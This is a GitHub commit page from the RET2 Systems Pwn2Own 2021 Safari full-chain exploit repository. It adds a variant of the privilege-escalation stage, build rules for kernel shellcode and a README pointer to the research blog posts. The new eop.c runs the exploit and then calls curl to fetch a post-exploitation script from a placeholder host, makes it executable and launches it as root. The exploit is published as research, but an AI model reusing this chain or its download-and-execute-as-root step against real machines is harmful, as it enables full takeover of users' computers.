Skip to content

Commit 448354c

Browse files
committed
add hib version of eop
1 parent 0ac9d3e commit 448354c

11 files changed

+1335
-3
lines changed

Makefile

+2-1
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ help:
1313
@echo 'rebuilding:'
1414
@echo ' `make rce-build` to re-determine jsc offsets (must have same version of Safari as target machine)'
1515
@echo ' `make stage2-build` to recompile eop from source'
16+
@echo ' `make stage2-build HIB=1` to recompile eop from source using __HIB version'
1617
@echo ' `make postexploit-build` to recompile post-exploit from source'
1718
@echo ' `make rebuild` to rebuild all 3'
1819

@@ -42,7 +43,7 @@ rce-build:
4243
stage2-build:
4344
make -C eop ksc
4445
clang -E eop.c | sed $$'s/__NLHASH__/\\\n#/g' | clang -x c - -o eop.o $(SCFLAGS)
45-
clang -E eop/eop_common.c -DFULLCHAIN | sed $$'s/__NLHASH__/\\\n#/g' | clang -x c - -o eop_common.o $(SCFLAGS)
46+
clang -E eop$(if $(HIB),_hib,)/eop_common.c -DFULLCHAIN | sed $$'s/__NLHASH__/\\\n#/g' | clang -x c - -o eop_common.o $(SCFLAGS)
4647
ld eop.o eop_common.o -o eop.dylib -dylib
4748
python objcopy.py eop.dylib eop.bin
4849
rm eop.o eop.dylib eop_common.o

README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# Pwn2Own 2021 - Safari Full Chain
22

33
This repo contains exploit source code used by [RET2 Systems](https://twitter.com/ret2systems) at [Pwn2Own 2021](https://www.zerodayinitiative.com/blog/2021/4/2/pwn2own-2021-schedule-and-live-results).
4-
It has been released for educational purposes, with accompanying blogposts for the [RCE](https://blog.ret2.io/2021/06/02/pwn2own-2021-jsc-exploit) and [EOP](https://blog.ret2.io/2022/06/29/pwn2own-2021-safari-sandbox-intel-graphics-exploit/).
4+
It has been released for educational purposes, with accompanying blogposts for the [RCE](https://blog.ret2.io/2021/06/02/pwn2own-2021-jsc-exploit) and [EOP](https://blog.ret2.io/2022/06/29/pwn2own-2021-safari-sandbox-intel-graphics-exploit/). A [followup post](https://blog.ret2.io/2022/08/17/macos-dblmap-kernel-exploitation/) covers a modified EOP that bypasses KASLR in a different manner (corresponding to the `eop_hib` directory here).
55

66
The exploit was demonstrated on Safari 14.0.3, macOS Big Sur 11.2.3.
77
The Safari vulnerability was patched in Safari 14.1.1, assigned CVE-2021-30734.

eop_hib/Makefile

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
# set pipefail so piped commands' errors arent ignored
2+
SHELL = /bin/bash -o pipefail
3+
4+
SCFLAGS = -Wall -c -Os -fno-stack-protector -mno-sse -fno-unwind-tables -fno-exceptions
5+
6+
.PHONY: eop
7+
eop: ksc
8+
clang eop.c eop_common.c -o eop -Wall -Os -framework IOKit -framework CoreFoundation
9+
10+
.PHONY: ksc
11+
ksc:
12+
clang kernel_sc.c -o kernel_sc.o $(SCFLAGS)
13+
ld kernel_sc.o -o kernel_sc -dylib
14+
python3 objcopy.py kernel_sc kernel_sc.bin
15+
(echo GLOB && xxd -i kernel_sc.bin) | grep -v len > kernel_sc.h
16+
rm kernel_sc.o kernel_sc kernel_sc.bin

eop_hib/eop.c

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#include "eop_common.h"
2+
extern int sandbox_init_with_parameters(char*, int, char**, char**);
3+
4+
int main(int argc, char** argv) {
5+
if (argc >= 2 && !strcmp(argv[1], "-s")) {
6+
char* errstr = 0;
7+
char* params[] = {"HOME_DIR", 0, "WEBKIT2_FRAMEWORK_DIR", 0, "DARWIN_USER_CACHE_DIR", 0, "DARWIN_USER_TEMP_DIR", 0, "HOME_LIBRARY_PREFERENCES_DIR", 0, 0, 0};
8+
for (int i = 0; params[i]; i+=2)
9+
params[i+1] = "/tmp";
10+
if (sandbox_init_with_parameters("/System/Library/Frameworks/WebKit.framework/Resources/com.apple.WebProcess.sb", 3, params, &errstr)) {
11+
printf("couldnt init sandbox: %s\n", errstr);
12+
return 1;
13+
}
14+
printf("initialized sandbox\n");
15+
}
16+
exploit();
17+
printf("done\n");
18+
system("curl -o /tmp/post.sh http://0.0.0.0:5151/post.sh && chmod +x /tmp/post.sh && echo 0.0.0.0 > /tmp/ip && login -f root /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal /tmp/post.sh");
19+
return 0;
20+
}

0 commit comments

Comments
 (0)